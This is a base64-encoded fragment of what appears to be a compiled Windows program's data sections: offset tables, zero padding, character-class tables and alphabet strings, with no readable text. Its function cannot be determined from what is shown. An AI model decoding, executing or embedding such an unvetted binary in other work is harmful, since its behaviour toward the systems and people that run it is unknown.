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5EPlM+Yz53PpQ+zj7lPh0/kD8AAADgAAAwAAAAjDDgMJkxsTG2MR80PzSJNJY0qTRxNZc2kDfZN3U59DoMPjM+QD4AAADwAABIAAAAPjCUMfsxOzJ7Mqoy4jIKMzozajPLMws0QjRdNGc0cTR+NIM0iTSNNJI0mDSlNKo0tDTBNMU0yjTUNN406TTtNAAAAQDwAAAAjDGQMZQxoDGkMagxrDG4Mbwx/DEAMggyDDIQMhQyGDJIOUw5UDlUOVg5XDlgOWQ5aDlsOXA5dDl4OXw5gDmEOYg5jDmQOZQ5mDmcOaA5pDmoOaw5sDm0Obg5vDnAOcQ5yDnMOdA51DnYOdw54DnkOeg57DnwOfQ5+Dn8OQA6BDoIOgw6EDoUOhg6HDogOiQ6KDosOjA6NDo4Ojw6QDpEOkg6TDpQOlQ6WDpcOmA6ZDpoOmw6cDp0Ong6fDqAOoQ6iDqMOpA6lDqYOpw6oDqkOqg6rDqwOrQ6uDq8OsA6xDrMOtA61DoAAAAQAQAgAAAAsDu0O7g7vDvAO8Q7yDvMO9A71DvYOwAAACABAGQAAADQPNQ82DzcPCw9MD2oPaw9vD3APcg94D3wPfQ9BD4IPgw+FD4sPjA+SD5YPlw+cD50PoQ+iD6YPpw+oD6oPsA+PD9AP2A/gD+IP5A/mD+cP6Q/uD/AP9Q/8D8AAAAwAQC8AAAAEDAwMFAwXDB4MIQwoDC8MMAw4DD8MAAxIDFAMWAxgDGgMcAx3DHgMfwxADIcMiAyQDJcMmAygDKgMsAy4DLsMggzKDNIM2QzaDNwM4wznDOkM7Az0DPcM/wzCDQoNDQ0VDRcNGg0iDSUNLQ0wDTgNOw0DDUUNRw1JDUwNVA1XDV8NYQ1kDXINdA11DXsNfA1ADYkNjA2ODZoNnA2dDaMNpA2rDawNrg2wDbINsw21DboNgAAAFABAPwAAAAAMAQwoDGwMbQx0DEYNhA3eDeIN5g3qDe4N9w36DfsN/A39Df4NwA4BDgQOJA5lDmYOaA5pDmoOaw5sDm0Obg5vDnAOcQ5yDnMOdA51DnYOdw54DnkOeg57DnwOfQ5+Dn8OQA6BDoIOgw6EDoUOhg6HDogOiQ6KDosOjA6NDo4Ojw6QDpEOkg6WDpgOmQ6aDpsOnA6dDp4Onw6gDqEOpA6oDqoOiA9JD0oPSw9MD00PTg9PD1APUQ9SD1MPVQ9XD1kPWw9dD18PYQ9jD2UPZw9pD2sPbQ9vD3EPcw91D3cPeQ97D30Pfw9BD6wPrQ+YD+AP4Q/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAgICAgIDAwMDAwMDAwAAAAAAAAAAI1VAAAAAAAACAAAAUOdAAAgAAA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